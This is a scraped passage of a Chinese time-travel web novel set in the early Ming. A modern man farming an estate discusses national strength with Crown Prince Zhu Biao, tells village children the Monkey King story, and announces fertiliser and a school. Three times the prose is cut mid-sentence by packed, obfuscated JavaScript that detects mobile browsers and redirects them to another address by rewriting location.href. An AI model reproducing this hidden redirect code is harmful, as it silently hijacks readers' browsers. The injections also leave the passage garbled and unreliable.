只是他依旧是皱起了眉头。 世人皆说朱标太子儒雅,其实他也是继承了朱元璋的脾气的。 他皱眉的原因是。 看不透朱安宁。 他看不透朱安宁究竟想要什么。 一个年轻人,贪财,也就那样,做官,他不愿,结果聊起国家大事,他却又能站到比肩自己的位置上,和自己侃侃而谈。 这非常不对劲。 如果…… 如果他真的起了不好的心思,以他的见地和谈吐,会不会瞬间就能拉起一票人……呢?…… “你是觉得皇帝寡恩,不会恩济百姓?”朱标不露声色地,开始提问:“当今的洪武帝,可是农民出身,他应该还做得不错吧。” “洪武帝?他算是不错了,但是他也不会去想,能不能寻个办法,让单个佃户,种出更多粮食这种事情……对于皇帝而言,百姓的数量起来了,粮的总数自然就能起来。” “这样有什么问题呢。” “问题可大了,国家富裕了,但是百姓们的生活一点都没变。” “所以你才想从永乐庄开始,想办法让农户们的耕种方法变得更精细?” “正是这个道理。” “你这么为佃户们着想,是有什么图谋么?”朱标的语气,又加重了一些。 而朱安宁,则完全没有听出这些言外之意。 朱标也是继续说了下去,微笑着。 “安宁小弟,你不会,是,想要谋反吧?” 第一百零四章 国富民强,还是民富国强? 谋反? 神金…… 自己上学时连小组长都当不好,现在说要谋反当大哥…… 朱安宁用上了看弱智的眼神,看向了朱标…… “伍文大哥,你个话题跳得……未免也太过……夸张了吧。” 朱标却也没有被朱安宁的眼神左右。 他的提问是认真的。 皇家对这些事情向来忌讳。 笼络人心可以。 但是必须有个理由。 “凡事终是需要有个前因后果,我实在想不通你对这些农夫,村民,这么好的理由。” “可怜他们不行?” “倒也是个说法。” “那不就成了么。” “那坐到了更高的位置,不是更能给他们谋福祉么。” “又来了又来了,我现在当个地主,也不一样能为他们谋福祉么?” “只是安宁小弟你所说,所想,所做的事情,不早已超过了寻常地主的范畴了么?”朱标站立在朱安宁的身旁,再次眯起了眼。 远处的驿站,能看到了些许轮廓。 那里有忠于大明,忠于朱元璋的亲卫。 换句话说,朱标一声令下,那群人过来乱刀砍死朱安宁,是毫无问题的。 “嗯?这么讲好像也是哦,我这操的哪门子心嘛。”站累的了朱安宁,竟然就这样蹲了下来,两人站在河边的树荫下,一同在眺望远方。 他似乎是赞同了朱标的说法,这让朱标也是感到有些许意外。 过了半晌,朱安宁才继续说道。 “伍文大哥,你有没离开过咱们中国大地?” 朱安宁向更远的地方眺望着。 想的自然是后世会发生的一些事情。 为什么要做那么多多余的事情,朱标这个问题问得好啊。 不做哪过得了自己心里那关? 明显不能。 所以朱标从最开始就搞错了朱安宁的初心。 “中国,这么正式的称谓……”朱标不明白朱安宁为什么会突然问这样的问题,他皱眉回应道:“我没有去到过更远的地方,但是书里写过的,我都有简单了解过。” “东边倭国,高丽,南边三佛齐,柔佛……西边是天竺,大食……伍文大哥你都听过?” 朱安宁一口气列举了附近的几个国家的古称,顺手把一块石头丢到了河中。 激起了一滩涟漪,却又很快被长河抚平。 “略有了解。” “哇,看来伍文大哥也算是博览群书了。”朱安宁的夸赞发自内心。 对于这夸赞,朱标也只是笑笑,没有回话。 要是作为太子,他连这些都不知道……那大明怕不是就要亡了。 朱安宁也是继续说了下去。 “世界很大的,远不止这些国家,伍文大哥你有没想过这个问题?” “那是自然,人们常说读万卷书,行万里路,但是迄今为止,也没有听说谁能走遍所有地方,见过所有事物……” “你说未来,会不会有一些国家,变得比我大明,或者说是中国,强盛数倍不止……” “这并非没有可能……但是这又如何……我大明自也会发展,强盛起来才对!” 朱标有这个把握,这源于他对自身的自信…… 只是他却也不知道,正史中他可没能当上皇帝…… 他的四弟倒也是干得可以,可惜后代一个比一个奇葩就是了。 “强盛啊……也许吧,但是若是真的别人比我们强大了,那些国家,与我们语言不通,文俗全不相同,甚至外貌都迥异……当他们比我们强盛的时候,你觉得他们会不会放过我们这片土地?” 本来朱标看着朱安宁在那丢石头,远处又尽是农夫。 一片祥和的景象。 朱安宁却又突然把话题拔高到了国家存亡上。 这让朱标多少有些猝不及防。 “国与国,互相攻讦,不是常事么。”朱标思考了片刻,才回了话。 “有些地方的人,擅长农耕,代表就是我们,但是有些地方的人,他们是贼,是盗,一旦他们得势,他们要的不仅是土地,他们要会要你的命,要你的家产,要你的全部,奴役你的后代,让人永世不得翻身。” 朱安宁又丢出了一块石头。 恰好砸中了一条想要浮上水面透气的鱼。 “哈哈,这傻鱼,真是倒霉。”朱安宁哈哈大笑了起来,然后又敛去了笑意:“我砸死一条鱼,是不会愧疚的,同理,若未来我们弱于那些异族,你觉得那些异族杀我们,辱我们,是不是也是毫无负担啊。” “……” 朱标看着河中的涟漪,突然也是没了话语。 两人就这般沉默了下去。 朱标,隐隐听懂了朱安宁表达的意思。 他一直以为朱安宁很高。 但是没想到他这么高。 “安宁小弟,你是怕我们再次陷入被元人统治的那种噩梦之中?” “嘿,说不定比元人还要恐怖呢。” “那这与……你做的事情,有什么关系。” “国富民强,和民富国强,我更认 可后者。” “所以你想大家富。” “如果我做得到的话……哎,难难难。”朱安宁摇了摇头,他可不是什么白痴。 封建体制下,他一个地主能做的事情,其实极其有限。 贪污,土地兼并,地方官员的行政能力,中央的政令通达。 没有一样是他能简单解决的…… 而他又没有导员那般能力和一呼百应的威望。 所以朱安宁才寄希望于通过改变大明的生产力水平,来改变那个烦人的未来。 “先管好我的永乐庄吧,如果农学和肥料,能推广到全国,那便是更好啦。” 朱安宁终是站了起来。 拍了拍衣摆,看向了许久没有说话的朱标。 “汉也好,唐也好,宋也好,明也好,对我来说,只要是咱们汉人还在当皇帝,我就觉得好,在这个前提下,百姓们过得好,那就更好。” 朱安宁算是作了陈词总结。 这让朱标的眉头,舒展了开来。 若是朱元璋听到朱安宁的话,应该又会生气了吧,对老朱来说,明属于他老朱,才是最重要的。 但是朱标不同。 他更开明,更进步。 他更能理解朱安宁的意思。 “居安思危,你始终觉得外族会卷土重来?” “不仅是伍文大哥你想的外族,更遥远的地方,陆地上海上,都可能会有强大的外族,来到我们这里,我们必须要比他们更强大,才能继续立足。” “那依你所见,这大明,除了你一直心心念念的粮食问题,还有什么问题呢?”朱标浅浅一笑,他觉得朱安宁还是有所保留。 似乎是有些东西不是很敢说。 朱标的感觉确实没错。 “这可不兴胡说嗷。” 朱安宁被朱标的眼神看得心里发毛。 虽然他是觉得伍文这人的气质很适合聊这些东西。 并且他也付诸行动了。 但也不是什么都能说的好么。 朱标也是看出了朱安宁的犹豫,又连忙加了句。 “哎呀安宁小弟,就你我在这里,没外人,你不也是常和我爹说些有的没的么。” “你爹那是比我还敢说……”朱安宁嘿嘿笑了两声,突然有点想念伍大爷。 “呃……确实,我爹是敢说。”朱标抽了抽嘴角,想笑又觉得此时不应该笑…… 皇帝,谁能把他怎么样……那自然是敢说啦。 “咱们大明,问题肯定是有,但是我相信朱皇帝,和太子一定能解决的!” 虽然朱标怂恿了下,但是朱安宁还是知道这个话题有多敏感,那是直接就封了口。 明朝最大问题是什么。 当然是这个开历史倒车的弱智分封制啦。 但是它在明初却又有一定的意义。 因为人口问题,九大塞王的存在,确实一定意义上促进了人口的流动和增长,同时又固守了边疆。 但是随着明中后期的到来,这分封制,纯纯就是负担,和军屯一起,成为了明朝的两大毒瘤。 崇祯做梦都想解决这两个问题。 然后就在歪脖子树上永远地睡了过去。 见朱安宁闭口不谈。 朱标也是没了脾气。 同时也是生出了,强烈的,想要把这个人绑回自己东宫的冲动。 父皇说得对,朝堂上,一堆虫豸!!! 有朱安宁这般远大抱负的人,又有几何?! “安宁小弟,我一定会把你举荐给太子的。” “啊?” 朱安宁洋洋洒洒说了一大堆,是想让这伍文去改造下东宫,带点进步思想进去。 没想到这人转头就想卖自己…… 不过说回来,他也觉得东宫起码这十几年都是安全的,不像朝堂那么危险,所以也没有完全回绝。 只是露了个苦脸在那里,以表态度。 而这时。 一个意料之外的人。 出现在了这土路的尽头。 一脸愁容。 走得缓慢,却又无可奈何的那种。 远远地朱安宁就看到了他。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378708|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 心里也是咯噔了一下。 完犊子,这才两天,他又来了,而且还是空手来的。 怕不是石膏的事情又出幺儿子了。 朱安宁那是长长地叹了口气。 这明初的营商环境就这么恶劣么。 生产力低真就办事艰难是吧。 只是走得再慢,这路也就这么长。 最终蓝梁,还是走到了朱安宁的面前。 “朱爷,哎,我又来叨扰您了。” “蓝大哥,你这来我这里来得是勤快啊。” 两人互相行了个礼,一边说是一边叹气。 “朱爷,我就开门见山地说了,之前那两车石膏,当我送您了,我这边……我这边……哎……”蓝梁是顿了好几次,依旧是说不出口。 毁约这种事情,在蓝家其他义子看来,是在正常不过的事。 但是再蓝梁这里,他是个有原则的人,是个有别于其他义子的正常人。 朱安宁看着这蓝梁欲 言又止的样子,也是知道9成9自己的石膏应该是没后续了,但是也没有特别恼火。 毕竟是永昌侯,未来的凉国公蓝玉嘛,他什么风评,那是历史上有过定论的。 “哎,蓝大哥但说无妨……” “家里给了点压力,说我给的价确实有点低,说了,至少要四百两,才供后面的货……哎,我知道这样做很不合适,但是我也……哎……” 蓝梁也没有直接报蓝玉的名字,直说是家里给的压力。 “四百两……” 其实朱安宁掏的出来。 但是,这么算下来,他不确定是否能抵得过粮食增产的价值。 如果超不过。 那这买卖,是没有意义的。 “四百两确实是多了……我也负担不起啊。”朱安宁也是一副光棍样。 反正蓝梁刚才已经说了,那两车是送自己的。 至于这两车的亏损是谁掏,明眼人都看得出来,应该就是蓝梁背了。 这也是为什么这单生意被毁约了,朱安宁还生气不起来的原因。 毕竟这蓝梁也是苦主啊。 两人聊天的内容,自然是逃不过朱标的耳朵。 只见他皱起了眉头。 锐评了蓝玉的行为。 “这般临时加价,不合理吧……” 蓝梁那是一下就被这话给噎住。 半天哼不出个屁来。 最终还是朱安宁帮他的解的围。 “伍文大哥,是永昌侯府上定的价,蓝大哥应该也很难办。” “对对对……朱爷,这是您的银子,您收回去吧。” 蓝梁听见朱安宁这时候还帮他说话,那是真的有些感动,连忙把早就准备好的银子,逃了出来,递了过去。 这次朱安宁就没有再推托了。 他得把钱拿回来,想办法去买外地的石膏。 蓝梁见朱安宁收下银子,也是再行了个礼:“朱爷,这位是……伍爷对吧,我这就不打扰二位了,先行告退。” “好好,蓝大哥慢走。” 这蓝梁来得快,走得越快。 应该是无脸继续面对朱安宁的缘故。 见蓝梁离去,朱安宁又是一声叹气:“这蓝大哥也是个实诚人,他要是用永昌侯来压我,我也只能闷声吃亏的。” “怎么,你就那么怕永昌侯?” “你不怕啊……虽然你我家中都有地,但是归根到底还是民,怎么和这种不讲道理的官斗?”朱安宁是翻了个白眼。 而朱标,也是只能笑笑不说话。 不过,他也是认同了朱安宁的话语。 这蓝梁,真算是蓝玉那堆义子里面,少有的实诚人了吧。 其实蓝玉那些义子欺行霸市的传闻,一直都没有停过。 他也帮朱元璋传过话,敲打过几次蓝玉。 只是每次都是消停一阵,就又会重新出现传闻。 都是老兄弟,朱元璋也没有太过为难他们,便也就忍到了现在。 —————————————————— 宫中,几个御医正战战兢兢地看着床上逐渐苏醒过来的朱雄英。 这祖宗终于是醒了啊。 差点就把大家给带地府里面去了啊。 几个御医看到睁开眼睛的朱雄英,那是比朱元璋和马皇后还开心。 “妹子你看,我就说我的药有用!” “有用就好,有用就好!” 马皇后伸手摸了摸朱雄英的额头,舒了口气。 朱元璋,先前已经给朱雄英喂了阿莫西林,和布洛芬。 他不知道的是,仅有布洛芬起了作用。 第一百零五章 孙猴子到哪都受欢迎 其实朱标感染的是支原体。 阿莫西林,并非是特效药。 朱安宁给自己和朱标吃下的阿奇霉素,才是特效药。 朱元璋哪知道这么多弯弯道道,他只知道,吃了朱安宁给的药,他的好圣孙,醒了!不烧了! 真踏马神药啊。 这钱花的不冤。 多少钱都不冤,区区银子和自己大孙子的身体比,孰轻孰重嘛! 所以殿内的朱元璋是哈哈大笑了起来。 得意的是自己没有白花银子。 朱雄英看着自己的爷爷在那哈哈大笑,也是虚弱地跟着笑了几声:“咳咳……爷爷,你为何这么开心。” “唉哟,我的乖孙子,你还没完全好,就不要起来先,躺下躺下,爷爷这边有灵丹妙药,你尽管放心,很快就能好的了。” “好……咳咳……好,爷爷。” 朱雄英本想起身,却又是被朱元璋按了下去。 只见老朱很快收起了笑脸,对后面跪着的几个御医大吼了一声。 “滚回去,要你们何用。” 几个御医那是如蒙大赦,反正这朱雄英看起来精神头要比先前好多了,没自己什么事赶紧滚就对了…… 作为高危职业,他们还是很有逼数的。 一通连滚带爬,一众御医,很快就消失在了殿内。 “哎重八,你这脾气……” 马皇后在一边嘟囔了几声。 ———————————————————— 朱标走在道上,表情变幻不定。 今天他与朱安宁呆了半天。 他算是清醒地认识到了朱安宁的想法。 这是个只忠于这片土地的人。 他热爱这片土地。 但是并不代表他热爱这片土地上的统治者。 这样的人…… 也很有用啊! 找个时间,需要和父皇商量下,把这朱安宁,划入麾下,才行! 最终,朱标是下了决定。 而还在永乐庄的朱安宁哪知道自己又被人盯上了。 他现在正在库房看着仅剩一车的石膏,在那唉声叹气。 “有没有顺丰包邮嘛……这古代真是烦人……东子能不能回来带动下这边的发展啊,太拉跨了!” 虽然是感叹,却也没有特别愁。 见一步走一步呗。 本来就是用来赚钱的东西,现在只是没赚到而已,又没有亏,是吧。 另外一车石膏,他早就安排几个年轻人去拌肥料了。 过几日正式插秧的时候,就能用上了。 “哎,算了,不想了,反正起码这一季是够用的了,卖不了就不赚这辛苦钱了。” 朱安宁很快也做好了决定,退回到了房车附近。 阿奇霉素虽然是特效药,但是病始终不可能说一下就好,所以他还是有点虚。 只是早上也躺了不短的时间,下午还睡的话,有点强他所难,所以他索性继续往前走去,走到了院外,想去田间视察下工作。 顺便,找戚祥,召集下庄里的人吧。 早上的通渠自己没有参与感,这不行! 完了,还得告诉大家,这乡学,要建了! 事还挺多……还是赶紧找人吧。 他脚步不禁又快了几分。 院外的田间。 水早已灌到了里面。 朱安宁小心地走在田埂上,那是多少有点怕掉进去…… 衣服脏了不打紧,就是丢人。 毕竟一路走来,到处都是打招呼的人。 这群永乐庄的农夫,从建庄开始,忙活到现在,已经有不少时日了,只是这一季的水稻,距离收成,还很遥远。 但是他们就是有干劲,非常地有干劲。 和隔壁庄子里的佃农们不一样。 他们干的任何事情,都会有朱安宁或者朱棣朱橚等人下来给他们解释为什么,并且手把手地教他们去做,这让他们体会到了尊重,这是从来没有过的体验。 更不用说永乐庄以外的人,那是日常羡慕他们永乐庄的地租…… 所以作为永乐庄的农夫,他们的社会地位比周边的农夫们,是隐隐要高一个档次的。 这让他们的精神都爽利了不少。 “朱爷,又下地了啊,这边的土软,您小心点诶。” “哟,朱爷,这渠挖的咋样,够直吧。” 几个中年农夫,直起了腰,看着朱安宁乐呵呵地说道。 “老柳,老钱,干你们的活,不用管我,我就是逛一逛。” 朱安宁小心翼翼地绕过松软的田埂,总算走到了正常的小道上。 虽然他不是什么社恐患者,但是一路打招呼下来,也是有点累了,所以他索性换了条路。 来到了隔壁荒地旁的路上,总算是清净了许多。 然而还没等他松口气。 一群小孩哥刷新了。 就像F4那个点位,大哥带着一众小弟,突然就刷新了。 这让朱安宁多少有点猝不及防。 他们就像开了瞬步般,猛地来到了朱安宁的身前。 把他是结结实实地吓了 一跳。 蹲草丛这可不兴啊……人吓人也是会吓死人的啊~~~ “朱爷!朱爷!你终于下田了!”带头的是老柳家的大儿子,他喜笑颜开地一把薅住了朱安宁,生怕他跑掉似的。 几个孩子也是一拥而上,在那柳文的带领下,团团围住了朱安宁。 这阵势,自然是让朱安宁哭笑不得。 他是知道这群家伙想干嘛的。 所以刚才他变幻路线,也是有这个原因。 没想到这群孩子居然还学会了打伏击……真是岂有此理。 “你们要造反啊,围着我干嘛!”他试图驱逐他们,却也发现了,这批孩子完全不怕他…… 真是作孽啊,太过老好人,这永乐群童欺我软无力啊! 朱安宁也只能在心里哀嚎。 “朱爷,快给我们讲那孙猴子的故事!!!每次都讲一点不讲一点,俺爷爷说了,讲书讲一半的人,会烂根的!” 什么恶毒的说法,自己又不是现代写小说那些太监! 怎么会烂根呢! “你爷爷好毒啊!”朱安宁感叹了一句。 那小孩却也是完全不管不顾,那抱腿的姿势是愈发地紧。 “我不管,朱爷你快讲故事。” 一群小孩马上又嚷嚷了起来。 那柳文的弟弟柳武,也就是吃了朱安宁抗生素的那小孩,更是直接钻到了朱安宁裤裆下面。 “讲故事!!!” 他发出了愤怒的咆哮。 其实也不怪这群孩子。 还是朱安宁这个家伙,最近怠惰了不少,下田次数明显少了很多。 天气热嘛。 朱爷一个现代弱鸡,哪顶得住这种太阳。 于是结果就是,这群孩子们,听的孙猴子的故事,那是一回都能拆成好几次听,体验直线下降,最终集体爆发起义,抓捕朱安宁也就变得顺理成章了。 而且这次这可不像上次,还有几个农夫帮忙驱散这些野孩子。 这荒凉的地方,哪有救星啊。 于是,朱安宁也只能从了这群孩子。 无奈地坐到了树荫下。 摆出了说书的阵势,却在开口的一瞬间,哑了火。 “行行行,我讲我讲……上回讲到哪来着?”他噎了噎,记忆确实是有点混乱。 “东海!!”几个小孩不满地提醒道。 “东海里。” “哦哦哦,东海东海。” 朱安宁按着记忆,开始讲某只猴子,和他的棒子的故事。 那些本来闹腾不已的孩子,瞬间就安静了下来。 要说朱安宁有多么有文采,那是不可能的。 他只是按照记忆中的西游记,讲一点补充一点而已。 只要逻辑还是通的,这故事就能继续讲下去,反正里面那些个人物,是个中国小孩基本都能给你说个明明白白。 总之就是,虽然朱安宁说得并不是很正式,有些细节甚至还是错误的。 但是这也足够让明初的这群孩子,听得津津有味了。 不多时,朱安宁就讲得口干舌燥。 只觉得没有带水出来真是脑子出问题了。 他看着几个孩子如痴如醉,也是突然生出了个想法。 “欲听后事如何,请听下回分解!!!”他一个暴起,想冲出小孩哥们的包围圈。 却未曾想到,机智的柳文,已经抓住了他的衣角…… “朱爷,你这是……” “我……哎……那个……我……咳咳,这故事不是讲完了么?!” “但是我们还想听啊!” 小孩们直面直接内心的欲望,那是说得理直气壮。 不行,再讲下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378709|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去,这一个下午什么都不用干了。 朱安宁看着这群孩子,突然有了个想法。 学堂的事情,要不先跟这群孩子商量? “柳文,你先松开手,我保证不跑了!”他先示意扯着自己衣服的柳文先松手,然后才继续说了下去:“咳咳,你们还想听是吧。” “想啊!” “那这样,过些日子,我会建个学堂,你们来学堂上学,就可以听故事啦!” 朱安宁说的声音并不大,但是也足够让这群小孩们听清。 要说穷人的孩子早当家,这群半大孩子其实又不少已经开始帮家里下田的了,只是玩心重,一旦是人多起来了,便也会结伴到处瞎逛。 他们的父母也是本着只要不出事,哪凉快哪待去的原则,那是根本就不想管。 “上学?” 作为孩子们的头,柳文代表他们发出了疑问。 不只是他,大部分孩子都是一脸懵逼。 你要说抓他们去耕地,他们会骂骂咧咧然后干活。 你要说让他们去上学…… 上学是什么? 对不起,他们完全没有这个概念…… 贫农和进学,是完全没有任何重叠可能性的。 看着一群懵逼的脸。 朱安宁也是知道,他需要解释得更加清楚。 “是朱爷我办的乡学,你们放心,不是教你们四书五经,就是教你们怎么种田而已,顺便 呢,我还会让人在学堂里讲故事,怎么样!” 原本他的办学思路就是给孩子们讲点农学的基本常识,顺便认认字就算完成任务。 那现在用上孙猴子的故事去引诱他们,是不是能提高点入学率呢? 看这群人的表情,好像可行啊。 “朱爷……但是我们这样的人,真的可以去学堂……而且你的学堂好奇怪啊……学农不是跟着俺们爹妈下地就好了么……” 不同于刚才闹哄哄的场景,现在这群孩子,一下就变得拘谨了起来。 这让朱安宁是直接就皱起了眉头。 “怎么,你们觉得读书是一件很了不起的事情?而且你们爹妈现在还不是也在跟着小燕小周他们学种田,里面的门道可多了!” “这样么……但是读书……应该很难把……”一直都是柳文在说话,兴许是他年纪较大的缘故吧:“朱爷,我们是农户……读书,是那些老爷们家的孩子,才有的待遇啊……你……你给我们讲故事就成,没有必要……” 他的语气,已经从之前抓捕朱安宁的大大咧咧,变得有些怯生。 哎…… 朱安宁看着态度大变的一群孩子,也是不由得有些沉默了起来。 他知道这个时代,与自己所处的时代有很大的不同。 但是,依旧是给他带来了点冲击。 未来,义务教育是深入人心的,知识的获取是便捷的。 而自己回到的这个时代。 就算他提供了机会。 他们,还会犹豫,还会质疑自己是否有资格…… 真是……有够离谱的啊。 这并不能怪小孩们。 而是,时代背景摆在这里,学习的确是奢侈的,短期内对生活毫无帮助的事情。 所以憋了半晌,朱安宁才重新开口。 “想要听故事就来我学堂,不收你们钱银,就是到点必须要过来给我听先生讲课就行!” 朱安宁的语气是斩钉截铁。 小孩哥们已经没有了刚才的气焰,他们都把目光投向了了朱安宁,最终有聚焦到了柳文身上。 “朱……朱爷,是不是还得跟俺们爸妈商量下……“ 他依旧是有点小心翼翼。 朱安宁也是苦笑了起来:“我这不就是准备找戚叔,召集你们爹娘商量这事嘛!你们一上来就围住了我!” 柳文听完也是慌了起来:“对不起朱爷,我们不知道你有正事……” 他连忙带着小孩们让出了一条路来。 主打的就是一个突然变得乖巧。 朱安宁扫视了一圈他们,也是又忍不住叹了一口气。 其实,他们也很乖的,不是么。 那就从永乐庄开始,建设大明的职业技术学院吧,至少,能改善他们的未来! 这群小孩运气理论上应该是还可以的,只要未来靖难不死,那这明初的几个皇帝,基本没有拉大垮的。 至于更未来的事情,他朱安宁何德何能,管不了啊。 第一百零六章 人山人海锣鼓喧天红旗招展 多得戚祥的军队式管理。 当朱安宁找到田间的戚祥时,他只是拍了拍胸脯,笑了两声。然后,不到一刻钟,人就集齐到了庄里的空地上。 那是人山人海锣鼓喧天红旗……啊,没有锣鼓和红旗。 “那个,乡亲们,今天我就说三点!”朱安宁重重地咳了一声,大有向我看齐的意思。 村民们也是心领神会。 老爷讲话,那是必须要认真听的,要争做三好佃农,勇当耕田先锋。 “那个,今天我们永乐庄的渠,也是挖通了,过不了几天,就可以分秧了啊!!!这是一件大喜事!!!” 看着下面乌泱泱一片人,朱安宁多少还是有点紧张。 毕竟在现代他也不是什么大领导。 而面对这一堆人,没有露怯已经算好了。 只是他的这番发言,堪称废话中的废话。 但是,却,又是那么地合时宜。 不要说朱安宁等人开心,村民们挖通这些四通八达的渠,也是相当开心的啊。 毕竟以后用水就可以省心许多了! 于是,在这愉悦的氛围中……朱安宁,看到了几个老农居然开始鼓掌,叫好。 “好!” “好啊!” “啪啪啪!!!” 场面一下就热烈了起来。 呃……原来古人也鼓掌啊……恍惚间朱安宁感觉自己好像成了什么校长,在那开大会似的……这种感觉真奇妙。 只是自己绝不对说三点又分三小点三三小点无限套娃就对了。 “收收收!这段时间,大家也是辛苦了!”朱安宁又大声嚎了两句。 比起现代,这里没有话筒喇叭,喊话还真是难受…… 真不知道记载中的什么大佬训话点兵十万,那些人是怎么听清楚的…… 朱安宁本意是想让那群鼓掌叫好的村民们收收声,好让自己能说话说得更清楚。 谁知道他一开口,又是一阵叫好声…… “好!!!朱爷说得好!!!” 尼玛的,这是老柳吧。 朱安宁抬眼看群,只见那鸟人站在最后,有没有听清自己的话都不得而知,就在那里叫好起哄…… 朱安宁是翻了个白眼。 也是知道要叫停他们这种无聊行为是不可能的了,便也就这样继续说了下去。 “第二件事情嗷,插秧的肥料我这边给大家备好了,绝对不比粪肥差,这一季种稻子要用的肥,我就免费提供给大家用,大家若是觉得好用,种下季的作物时,可以来我这里买哦,绝对便宜,包你们用最少的钱银,收最多的粮食!” 这话也是一石激起千层浪,肥料这种事情。 农民们不议论那是不可能的。 而朱安宁说完话后,便也没有做更多的事情。 让子弹先飞一会。 至于下一轮的肥料原料……船到桥的自然直!!!总不能小半年他都找不到卖石膏的地方吧…… “什么?肥?俺用粪肥或者河泥不就成了么!怎么地还要买朱爷的肥料啊。” 有大爷在那里嘟囔。 虽然大家都觉得朱爷是好人,但是一说到钱啊粮啊,农民们就特别敏感。 这是与生俱来的特征。 也非常符合中国农民这几千年来的气质:贫穷…… 这可是印在脑门的特质。 于是,几个大爷开始围绕着这件事情吵闹。 “你说个锤子,人家朱爷收你钱了么,吃你家馍了?没听见么,这一茬作物,人家朱爷是直接给我们试用的!试好了,俺们再掏银子买就是了!” “好像是耶,朱爷没没说要我们钱啊,只是说下一茬作物想用的话,可以跟他买。” “那咱也没有钱啊……” “笨,朱爷都只收我们一成租子了,多出来的粮你不会卖点啊?!” “什么?卖粮,你不如要我的命啊,你还没被饿怕啊?!” “那进山里打点山货,挖点山药,去城里换点钱银不也可以么?” “哇你个老李头真是说得轻巧。” “哎,说不定还是用不起朱爷的肥啊。” “你这憨货,天天就想去挖河泥,那河泥挖不完的是吧,又不是什么河泥都有用!” 几人一边说着,一边又把目光投向了朱安宁。 朱安宁耳朵也没聋,这几人就在他跟前,所以他也是听到了大家讨论的内容。 “咳咳,按我的法子下肥,咱们地长出来的粮,至少能比隔壁庄子那里的,多两成。而且我这边可以收你们的粮来抵肥料,不一定要花钱银。” 他知道这群永乐庄的农民,不过是担心肥料的效果,和价格而已。 他也不多BB,那是直接就报了个保守的数字。 结局,当然是震撼人心了。 “能多两成?!我了个乖乖,这肥是掺了金子?” “掺了金子也长不了这么多吧!!!两成啊!” “说得你好像种过稻子似的……” “俺没种过,但是朱爷说的是对比隔壁那些庄子啊,他们总归是种稻子的吧。” “哎呀你们说那 么多,不如直接问问朱爷。”只见一个年轻人,转头就看向了朱安宁,也是毫不露怯:“朱爷,你这肥,保不保真啊!” 这次不止是老农。 几个朱安宁看着眼熟的年轻人,也挤到了朱安宁的跟前,包括戚祥。 朱安宁也看清了挤到前面的那个几个年轻人的模样,是那几个戚祥安排的十夫长…… 也就是跟着朱安宁朱棣去8人vs李景隆40人的那几个人。 “诶,孙白雷,你说话能不能不要这么冲,你是质疑朱爷?”戚祥用手指一把摁了下某个年轻人的额头,那警告的意味是相当的浓。 只是这名字…… 呃,怪不得能说出保不保真这样的话…… 原来你叫孙白雷啊。 看起来就很勇的样子哦…… 朱安宁不免多看了两眼这年轻人。 只见他被戚祥怼了下额头后,那是立马嬉皮笑脸了起来。 “诶,戚叔瞧你说的,我哪是质疑,就是正常说话而已。”随后他又立马转头对朱安宁笑了起来:“是吧朱爷。” 哇……这流氓样,真有那味道。 “咳咳,我这肥,大家试过都说好,尽管放心,我已经和小燕他们试过肥力的了。” “啊,燕爷,周爷,真的么?” 一群人纷纷开始向朱棣朱橚他们几人求证。 那朱棣他们自然是连连点头的。 毕竟小院里的试验田结果就摆在那里。 “施肥的时机和用法,大家也放心,晚些时候会教大家的!”朱安宁听见议论声小了下来,便连忙补了句。 “全凭朱爷安排啦!” 朱安宁说清楚了最初的使用无需花费,然后还会教大家怎么用…… 那基本就是打消掉了他们的疑虑。 讨论声自然也淡了下去。 其实朱安宁的想法很简单,这永乐庄就是他的示范村。 肥料必须要足量且低价供应给村民们使用。 待到作物成熟。 嘿嘿,到时这广告啊,自发地就能打出去啦。 届时只要解决原料的问题,那不是躺着赚钱啊。 嗯,想象是很美好的…… 接下来就是第三件事情了。 赶紧讲完回去休息……乏了乏了。 朱安宁只觉得他们有点吵闹,风也有点喧嚣。 还是自己小院里的茶和躺椅舒适。 “除了通渠和肥料这两件事情,还有一事想要知会大家!!!”朱安宁努力嚎得大声点,生怕有人听不清,只不过这种说话方式……很快他就有点嗓子哑的感觉了:“咳咳……过些日子,我会在乡里办乡学!!咳咳咳……” 嚎到嗓子冒烟。 本来刚才就给那群熊孩子们讲了几段西游记,又没喝水,朱安宁是真的觉得喉咙有点不舒服。 而他的话,也是清晰地落到了那些村民的耳中。 不同于前两件事情。 那些都是很好理解的事。 这乡学…… 是几个意思? 于是不再有人起哄,鼓掌……甚至连讨论的声音都没有多少。 他们都开始面面相觑。 过了许久…… 才开始交头接耳,声音也是不如之前大。 如他们的孩子那般。 他们对于读书这种事情,是陌生的,遥远的,听着就不切实的…… “这朱爷说的是学堂?” “好像是的哩,俺没有听清,老王你听清了么。” “可不是就是说私塾嘛。” “啊?真的是学堂啊,但是咱们这世世代代都是耕田滴,签契都是画乌龟,这学堂……” “读 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378710|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 